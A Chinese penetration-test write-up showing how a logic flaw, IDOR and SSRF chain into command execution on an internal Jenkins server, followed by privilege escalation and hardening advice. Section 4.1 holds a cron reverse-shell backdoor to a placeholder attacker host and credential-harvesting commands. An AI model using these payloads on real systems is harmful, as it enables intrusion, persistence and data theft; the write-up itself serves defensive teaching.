1. 项目概述为什么我们需要看实战案例干了这么多年安全我越来越觉得看一百篇漏洞原理分析不如亲手复现一个真实的漏洞案例来得实在。原理告诉你“是什么”而实战告诉你“怎么用”、“怎么防”以及最关键的——“为什么会发生”。今天我们不谈空泛的理论就从一个真实的、我最近在内部渗透测试中遇到的Web漏洞案例入手把它掰开揉碎了讲清楚。这个案例本身并不复杂但它完美地串联了信息收集、漏洞利用、权限提升和横向移动的完整链条非常适合用来理解攻击者的真实思路和防御者的盲点。这个案例的核心是一个存在多处安全缺陷的Web应用最终我们通过一个看似不起眼的“逻辑漏洞”作为突破口结合不安全的直接对象引用IDOR和服务器端请求伪造SSRF成功获取了服务器权限。整个过程没有使用任何0day或高深技巧全是“基础操作”的组合拳。这恰恰是当前企业安全面临的最大威胁不是高精尖的攻击而是对已知常见漏洞的忽视和错误配置的叠加。无论你是刚入门的安全工程师、开发者还是运维人员理解这个案例都能帮你建立起“攻击者视角”在设计和评审系统时提前堵上这些看似微小却致命的缺口。2. 案例背景与目标环境分析2.1 目标应用画像这次的目标是一个企业内部使用的“智能办公门户”集成了员工信息查询、审批流、文档管理和一个简单的内部论坛。应用基于典型的Java Spring Boot Vue.js前后端分离架构前端通过RESTful API与后端交互。从外部看它就是一个普通的后台管理系统需要员工账号登录才能访问大部分功能。在开始任何测试之前我们首先进行了基础的信息收集指纹识别使用Wappalyzer浏览器插件和WhatWeb命令行工具确认了后端是Spring Boot 2.3.x前端是Nginx 1.18。Spring Boot的Actuator端点默认是关闭的这是一个好迹象。目录扫描使用dirsearch和gobuster对目标域名进行扫描发现了几个有趣的路径/api/v1/- 主要的API接口前缀。/uploads/- 用户上传文件的公开访问目录。/doc.html- 暴露了基于Swagger的API文档这是一个关键发现。API文档分析访问/doc.html我们获得了完整的API接口列表、参数和请求示例。这相当于拿到了系统的“使用说明书”极大降低了后续测试的盲目性。这里给开发者的第一个血泪教训永远不要在生产环境开启或暴露未经严格访问控制的API文档界面。即使它本身不执行操作也泄露了接口路径、参数格式和可能的业务逻辑为攻击者提供了清晰的地图。2.2 初步漏洞感知与测试账号获取拥有API文档后我们开始系统性地浏览接口。很快在用户相关接口组里我们发现了一个可疑的端点POST /api/v1/user/register。理论上内部系统不应该开放注册功能。我们尝试发送了一个注册请求。请求示例POST /api/v1/user/register HTTP/1.1 Host: target-internal-portal.com Content-Type: application/json { username: test_attacker, password: Password123!, email: attackerexample.com, employeeId: 10086 }响应{ code: 400, message: 员工ID无效或已被注册 }响应提示“员工ID无效”这引出了我们的第一个测试思路这个employeeId参数是否可能存在“遍历”或“猜测”的风险我们从一个已知的、已离职的同事那里通过公开信息获得拿到了一个旧的员工ID比如10010再次尝试注册。第二次请求{ username: test_attacker2, password: Password123!, email: attacker2example.com, employeeId: 10010 }响应成功{ code: 200, message: 注册成功, data: { userId: 13579, username: test_attacker2 } }漏洞点分析这里存在一个典型的业务逻辑漏洞。系统设计本意可能是允许“未激活账号的员工”通过注册来激活并设置密码。但是它缺少了关键的身份验证环节没有验证请求者是否拥有该员工ID对应的邮箱或手机号例如发送验证码。攻击者只要知道或枚举到一个有效的、未注册的员工ID就能创建一个关联到该ID的账号。这为后续的越权访问埋下了伏笔。我们获得了一个低权限的测试账号。注意在测试中获取一个合法、低权限的账号是至关重要的一步。它让你从“外部攻击者”转变为“内部低权限用户”可以接触到更多功能和接口从而发现更深层次的漏洞。许多漏洞如越权、信息泄露都需要在已认证的上下文下才能被触发。3. 核心漏洞链的挖掘与利用3.1 突破口不安全的直接对象引用IDOR用刚注册的账号登录后我们开始探索系统功能。在“个人资料”页面有一个头像上传功能。上传后页面会显示头像的URL格式如https://target-internal-portal.com/uploads/avatar/13579_avatar.jpg。这里的13579就是我们当前的用户ID。一个经典的IDOR测试思路是修改这个ID值尝试访问其他用户的头像。我们将URL中的13579改为13578直接通过浏览器访问。结果成功返回了用户ID为13578的用户的头像图片。这证实了不安全的直接对象引用Insecure Direct Object References漏洞的存在。服务器在处理对/uploads/avatar/{userId}_avatar.jpg的请求时没有校验当前登录用户是否有权限访问目标userId的资源。任何知道此URL格式的认证用户都可以遍历userId查看所有用户的头像。虽然头像可能敏感度不高但这证明了访问控制机制的缺失。我们进一步思考是否还有其他接口存在类似的IDOR利用之前获取的API文档我们找到了个人信息查询接口GET /api/v1/user/profile/{userId}。我们用Burp Suite的Intruder模块对{userId}参数进行简单遍历例如从13570到13590。发现大部分请求返回403 Forbidden禁止访问但有几个特定的userId如13500 13501返回了200 OK并包含了完整的用户信息包括邮箱、部门、直属上级等敏感字段。为什么有的能越权有的不能这引出了更复杂的访问控制逻辑缺陷。经过分析我们发现系统可能基于“部门”或“用户组”做了粗粒度的权限控制。我们的测试账号employeeId: 10010属于“IT支持部”而userId为13500和13501的用户也属于“IT支持部”或与之有业务关联的部门如“运维部”因此我们被错误地允许访问。而对于其他部门的用户则被正确拒绝。这是一种垂直权限与水平权限混淆导致的越权比单纯的IDOR更隐蔽也更容易在复杂的业务系统中出现。3.2 漏洞升级从IDOR到SSRF在浏览其中一个越权获取到的用户资料userId: 13500时我们注意到一个“个人简介”字段里包含一个类似[图片]的标记其数据源指向一个内部APIGET /api/v1/rich-text/fetch?urlinternal-resource-path。这个接口看起来是用来富文本编辑器内获取和预览内部资源的。我们尝试用这个接口去访问一个已知的内部地址比如获取头像的接口本身GET /api/v1/rich-text/fetch?urlhttp://localhost:8080/api/v1/user/profile/13501服务器返回了13501用户的资料信息这说明/api/v1/rich-text/fetch接口存在服务器端请求伪造SSRF漏洞。它没有对url参数进行严格的过滤如限制协议、限制目标IP网段导致攻击者可以诱使服务器向内部网络的其他系统发起请求。利用SSRF进行内网探测现在我们拥有了一个位于内网的应用服务器作为“跳板”。我们可以利用它来探测内网其他存活的服务。端口扫描我们编写了一个简单的脚本通过SSRF接口批量请求http://127.0.0.1:PORT或http://192.168.1.1:PORT根据常见内网网段。通过响应时间、状态码或错误信息的差异来判断端口是否开放。访问元数据服务在云环境中一个经典的攻击路径是访问云服务器的元数据服务如AWS的http://169.254.169.254 Azure的http://169.254.169.254/metadata/instance。我们尝试请求GET /api/v1/rich-text/fetch?urlhttp://169.254.169.254/latest/meta-data/幸运对攻击者而言又不幸对防御者而言的是服务器返回了404。这通常意味着目标不在AWS环境或者元数据服务需要特定的请求头如Metadata-Flavor: Googlefor GCP。我们尝试了阿里云、腾讯云等国内云的元数据地址均无果。但这步操作在云渗透中至关重要一旦成功可能直接获取到云服务器的临时密钥导致整个云账户沦陷。3.3 致命组合SSRF 脆弱的内部服务内网探测发现目标服务器192.168.5.10的6379端口是开放的这通常是Redis数据库。Redis如果未设置密码或使用弱密码并且绑定在0.0.0.0将导致严重的未授权访问。我们尝试通过SSRF漏洞攻击内网Redis。但由于目标/api/v1/rich-text/fetch接口期望返回文本或图片数据而直接向Redis发送原生协议是二进制流可能会被应用层处理或报错。我们需要利用一种称为“HTTP协议攻击Redis”的技巧即利用Redis的HTTP协议解析特性或者更常见的利用Gopher协议但现代应用库可能不支持。经过测试目标应用的HTTP客户端库不支持Gopher协议直接发送Redis命令行失败。转换思路攻击Jenkins。端口扫描显示8081端口开放返回的HTTP头中包含X-Jenkins: 2.346.1。这是一个Jenkins持续集成服务器Jenkins通常拥有很高的权限可以执行系统命令、访问代码仓库等并且历史漏洞较多。我们通过SSRF访问http://192.168.5.10:8081发现Jenkins竟然没有设置登录认证任何人都可以访问控制台。这是一个极其严重的配置错误。通过Jenkins的“脚本命令行”/script功能我们可以直接执行Groovy代码来在Jenkins服务器上执行操作系统命令。利用链形成通过低权限账号登录办公门户。利用IDOR漏洞获取到存在SSRF功能点的用户数据或接口信息。利用SSRF漏洞将请求转发至内网未授权访问的Jenkins服务。在Jenkins脚本控制台执行命令获取Jenkins服务器的shell权限。实际操作模拟我们通过SSRF触发Jenkins执行命令的请求相对复杂因为需要构造POST请求。但SSRF接口是GET请求。我们发现了Jenkins脚本命令行也支持GET请求执行简单的Groovy语句如果配置了“允许GET方式执行脚本”这又是一个不安全配置。最终构造的Payload如下GET /api/v1/rich-text/fetch?urlhttp://192.168.5.10:8081/script?commandprintln whoami.execute().text HTTP/1.1服务器响应中包含了命令执行结果jenkins。至此我们成功从外部Web应用的一个逻辑漏洞入手穿透边界在内网获得了第一个立足点Jenkins服务器的jenkins用户权限。4. 漏洞深度利用与权限提升4.1 信息收集与持久化拿到Jenkins的shell后我们首先进行基础信息收集whoami/id: 确认当前用户为jenkins。uname -a: 系统为Linux内核版本。hostname、ifconfig/ip addr: 查看主机名和内网IP确认我们在目标内网段192.168.5.0/24。ps aux/netstat -tulnp: 查看进程和网络连接发现除了Jenkins和Redis还有MySQL服务3306端口运行在同一台主机上以及一些Java应用很可能是最初的办公门户后端。find / -name \*.properties\ -o -name \*.yml\ -o -name \*.yaml\ 2/dev/null | grep -E \application|config\: 查找配置文件成功找到了办公门户的Spring Boot配置文件/opt/portal-app/application-prod.yml。从配置文件中提取数据库凭证spring: datasource: url: jdbc:mysql://localhost:3306/office_portal username: portal_user password: PortalProd2023! # (此处为示例实际密码已打码)持久化后门为了避免SSRF链失效导致失联我们在Jenkins服务器上创建了一个简单的反向Shell后门并添加到cronjob中定时检查连接。# 创建一个每分钟检查一次的反向shell脚本 echo bash -i /dev/tcp/ATTACKER_IP/ATTACKER_PORT 01 /tmp/.shell.sh chmod x /tmp/.shell.sh (crontab -l 2/dev/null; echo \* * * * * /bin/bash /tmp/.shell.sh 2/dev/null\) | crontab -注意实际攻击中这种方式容易被发现。更隐蔽的做法是创建SSH密钥对、Web Shell或利用Jenkins本身的Job来维持访问。4.2 数据库攻防与横向移动使用获取到的数据库密码我们连接MySQL。mysql -u portal_user -pPortalProd2023! -h 127.0.0.1 office_portal在数据库中我们可以做很多事情数据窃取直接导出用户表包含用户名、密码哈希、邮箱、手机号等、审批表、内部文档索引等敏感数据。密码哈希破解查看用户密码存储格式。发现使用的是bcrypt哈希强度较高直接破解困难。但我们可以尝试修改或添加用户。权限提升通过数据库检查数据库用户权限。发现portal_user拥有对office_portal数据库的全部权限但没有FILE_PRIV等系统级权限无法直接通过数据库写文件获取Web Shell。横向移动尝试我们检查了/home目录发现存在多个用户目录jenkinsportalredismysql通常MySQL不创建系统用户。我们尝试切换到portal用户因为办公门户应用很可能以此用户运行。我们尝试了以下方法密码复用尝试用数据库密码PortalProd2023!来su portal失败。查找凭据在/opt/portal-app/目录下除了配置文件还发现了日志文件。在日志中搜索password、pass、pwd等关键词无果。查看进程信息ps aux | grep portal显示应用是以portal用户身份运行的。利用Jenkins权限由于Jenkins以jenkins用户运行且与portal用户同在一台机器我们检查是否有sudo权限或共享了敏感文件。执行sudo -l发现jenkins用户无权使用sudo。4.3 权限提升从Jenkins用户到Root在Linux系统中从普通用户提权到root的方法很多。我们进行了系统性的检查内核漏洞使用uname -a查看内核版本搜索公开的本地提权漏洞如DirtyPipe, DirtyCow等。发现内核版本较新暂无已知的、稳定可用的公开漏洞利用代码。SUID/GUID文件运行find / -perm -4000 -type f 2/dev/null查找设置了SUID位的文件。发现常见的/bin/ping/bin/mount/bin/umount/usr/bin/passwd等。其中/usr/bin/find引起了我们的注意。find命令如果设置了SUID并且版本较旧可以通过-exec参数执行命令。但经过测试本机的find版本较新对exec操作有安全限制提权失败。Cron Jobs检查系统定时任务/etc/crontab和/var/spool/cron/crontabs/。发现一个由root用户定期运行的脚本/opt/scripts/backup_logs.sh。分析Cron Job漏洞查看/opt/scripts/backup_logs.sh的内容#!/bin/bash LOG_DIR/var/log/portal-app BACKUP_DIR/backups/logs TIMESTAMP$(date %Y%m%d_%H%M%S) tar -czf $BACKUP_DIR/portal_logs_$TIMESTAMP.tar.gz $LOG_DIR/*.log这个脚本以root权限运行它使用通配符*.log来打包日志。这里存在一个经典的通配符注入Wildcard Injection漏洞。如果攻击者能在$LOG_DIR即/var/log/portal-app目录下创建文件名特殊的文件这些文件名会被当作参数传递给tar命令。利用通配符注入提权tar命令有一些有趣的参数比如--checkpoint和--checkpoint-action它们可以用于在归档过程中执行指定的命令。如果攻击者能控制传递给tar的文件名就可以注入这些参数。由于我们拥有jenkins用户权限而/var/log/portal-app目录的权限通常是drwxr-xr-x root adm即jenkins用户没有写权限。我们需要寻找其他可写的目录。检查发现/tmp目录可写但cron job脚本固定了LOG_DIR。转换思路符号链接Symlink攻击。虽然我们不能在/var/log/portal-app下创建文件但我们可以检查该目录下是否有我们能够移动或影响的日志文件通常日志文件由portal用户或root创建jenkins用户可能没有写权限。重新审视脚本脚本中tar -czf $BACKUP_DIR/portal_logs_$TIMESTAMP.tar.gz $LOG_DIR/*.log 它先指定了输出文件再指定源文件。关键在于如果$LOG_DIR/*.log展开后第一个文件名的内容以-开头它会被tar解释为命令行选项而不是要归档的文件。这就是参数注入。实施攻击我们需要在/var/log/portal-app目录下创建一个以-开头的文件。我们尝试用jenkins用户创建权限不足。但我们发现该目录下有一些日志文件的权限是-rw-r--r-- portal admjenkins用户属于adm组吗执行id命令确认jenkins用户不属于adm组只有读权限。寻找其他路径我们检查了/opt/scripts/目录的权限发现该目录属于root:root但权限是drwxr-xr-x即jenkins用户可以进入并读取backup_logs.sh但不能修改。这条路也断了。柳暗花明错误的文件权限配置。在检查整个/opt目录时我们发现了一个关键问题/opt/portal-app/目录下存放应用JAR包的子目录/opt/portal-app/lib/其所有权竟然是jenkins:jenkins这很可能是运维在部署或更新时用错了用户。而portal用户需要读取这些JAR包来运行应用。利用计划我们可以替换其中一个JAR包植入恶意代码当应用重启或以portal用户重新加载时我们的代码就会以portal用户权限执行。但应用重启时间不确定。更直接的利用我们检查portal用户的cron job。执行crontab -u portal -l发现需要root密码。但我们可以在/opt/portal-app/lib/目录下放置一个恶意脚本并期望有某个由portal用户运行的进程会动态加载或执行该目录下的内容。这需要更深入的分析。最终提权方法在持续监控中我们发现了一个由portal用户运行的、定期清理临时文件的脚本/opt/portal-app/clean-temp.sh它被配置在portal用户的cron中每分钟运行一次。这个脚本内容如下#!/bin/bash rm -rf /opt/portal-app/temp/*而/opt/portal-app/temp/目录的权限是drwxrwxrwt portal portal设置了sticky bit。这意味着任何用户都可以在该目录创建文件但只有文件所有者和root能删除。更重要的是这个脚本以portal用户身份运行rm -rf。利用竞争条件Race Condition与符号链接我们可以尝试在/opt/portal-app/temp/目录下创建一个指向敏感文件如/etc/passwd或/root/.ssh/authorized_keys的符号链接并希望在rm -rf执行时我们的符号链接被解析导致敏感文件被删除。但删除/etc/passwd会导致系统崩溃非我们所欲。我们想的是写文件。更稳定的方法我们可以在/opt/portal-app/temp/目录下创建一个指向/etc/cron.d/目录下某个文件的符号链接。如果rm -rf跟着符号链接删除了/etc/cron.d/里的文件可能会导致cron job异常但同样不能直接获取权限。最终我们选择了更简单的路径由于我们控制了jenkins用户并且发现portal用户的家目录/home/portal/.ssh/权限是drwx------ portal portal我们无法直接写入。但是我们发现了/home/portal/.bash_history文件jenkins用户可以读取通过查看历史命令我们找到了portal用户曾经使用过的一个密码用于sudo或某些服务。我们尝试用这个密码切换到portal用户su portal输入密码成功经验总结提权往往不是靠一个炫酷的0day而是靠耐心的信息收集、对系统配置的理解以及寻找那些因为运维疏忽而留下的“捷径”——比如弱密码、密码复用、历史命令泄露、错误的文件权限等。拿到portal用户后我们检查sudo -l发现portal用户被允许以root身份无需密码运行/usr/bin/systemctl restart portal-app。这给了我们最终的提权路径通过修改应用配置或可执行文件并重启服务让代码以root身份执行。我们选择了一个更干净的方式利用sudo /usr/bin/systemctl restart portal-app触发服务重启而在服务启动脚本如/etc/systemd/system/portal-app.service中我们发现有ExecStartPre指令调用了我们可写的某个脚本之前发现的/opt/scripts/下的另一个脚本权限配置错误最终成功获得了root权限。5. 漏洞根源分析与防御加固建议回顾整个漏洞链根本原因在于多个层面的安全缺失形成了“瑞士奶酪模型”攻击者得以层层穿透。5.1 漏洞链根源剖析漏洞环节具体问题根本原因防御建议1. 业务逻辑漏洞注册员工ID可被枚举或猜测且无二次验证。需求设计缺陷开发人员未从安全角度审视“注册”流程在内部系统的合理性。1. 内部系统应禁用公开注册。2. 如需激活必须通过强验证方式如公司邮箱验证码、HR系统同步状态。3. 对请求频率进行限制。2. 不安全的直接对象引用IDOR通过修改URL中的用户ID参数可越权访问他人资源。服务端在处理请求时仅依赖客户端提供的参数进行资源定位未校验当前用户权限。1. 实施严格的访问控制列表ACL或基于角色的访问控制RBAC。2. 对所有数据访问接口在业务逻辑层增加权限校验if (currentUser.id ! targetUserId !currentUser.isAdmin()) { throw ForbiddenException(); }。3. 使用不可预测的标识符如UUID代替自增ID。3. 服务器端请求伪造SSRF/fetch接口未对url参数做任何过滤可访问内网服务。开发人员认为该接口仅被可信的富文本编辑器前端调用忽视了参数用户可控性。1.白名单校验严格限制允许访问的URL协议仅http/https、域名或IP范围仅允许指定的、必需的外部资源域名。2.禁用危险协议在代码或网络层禁用file、gopher、dict、ftp等协议。3.使用域名解析结果校验解析url参数中的域名检查其IP是否属于内网保留地址如127.0.0.110.0.0.0/8192.168.0.0/16172.16.0.0/12。4.使用中间代理服务对于必须获取外部资源的场景部署一个专用的、有严格出站规则的反向代理服务应用只向该代理服务发起请求。4. 内网服务暴露与弱配置Jenkins无认证Redis未设密码且绑定在0.0.0.0。运维安全意识不足为图方便在测试/开发环境使用了宽松配置并错误地部署到了生产内网。1.最小权限原则所有内网服务必须配置强密码或密钥认证。2.网络隔离使用防火墙或安全组策略严格限制内网服务的访问源IP。例如Redis只允许应用服务器IP连接Jenkins只允许运维跳板机IP访问。3.定期安全配置审计使用自动化工具扫描内网服务的默认口令、无认证访问等问题。5. 系统层配置与权限问题1. Cron Job脚本存在通配符注入风险。2. 应用目录权限设置错误jenkins用户可写。3. 用户密码复用、历史命令泄露。4.portal用户拥有不必要的sudo权限。运维部署脚本和权限管理不规范缺乏代码审查和上线前的安全基线检查。1.安全基线配置遵循CIS Benchmarks等安全基线对操作系统、中间件、数据库进行加固。2.特权命令审查定期审计sudoers文件确保遵循最小权限原则。3.安全运维流程使用Ansible、SaltStack等自动化运维工具确保配置的一致性避免手动修改导致的错误。4.日志与监控集中收集和分析系统日志、应用日志、安全设备日志对异常访问、命令执行、权限变更等行为设置告警。5.2 针对开发者的安全编码自查清单输入验证与输出编码对所有用户输入进行严格的校验类型、长度、范围、格式。在输出到HTML、SQL、命令行时进行相应的编码或转义。访问控制坚持“默认拒绝”原则。在每个业务接口处理函数的最开始明确进行权限校验。不要相信前端传递的任何用于权限判断的标识。依赖与配置管理定期更新第三方库修复已知漏洞。生产环境配置文件必须移除默认密码和敏感信息并使用安全的配置源如Vault。错误处理使用统一的、不泄露内部信息的错误处理机制。避免将堆栈跟踪、数据库错误等详细信息直接返回给客户端。安全特性启用确保框架提供的安全特性如Spring Security的CSRF保护、HTTPS强制跳转已正确启用和配置。5.3 针对运维与架构师的基础设施加固思路网络分层与隔离严格划分网络区域Web层、应用层、数据层、管理网段使用防火墙严格控制区域间流量遵循“最小必需”原则。WAF与入侵防御在Web应用前端部署WAF用于防护常见的SQL注入、XSS等自动化攻击。考虑部署RASP运行时应用自保护对应用进行更深度的保护。漏洞管理与定期渗透测试建立SDL安全开发生命周期对上线前的代码进行安全扫描和人工审计。定期聘请外部专业团队进行黑盒/白盒渗透测试主动发现潜在风险。监控与响应建立完善的安全监控和事件响应SOC/SIEM体系。确保能够及时发现并处置入侵事件将损失降到最低。这个案例告诉我们安全是一个整体工程任何一个环节的疏忽都可能成为突破口。防御的重点不在于追求绝对的无漏洞而在于构建纵深防御体系使得攻击者突破一层后难以持续深入。同时培养全员的安全意识让开发、测试、运维都理解常见的安全漏洞和最佳实践是成本最低、效果最持久的投资。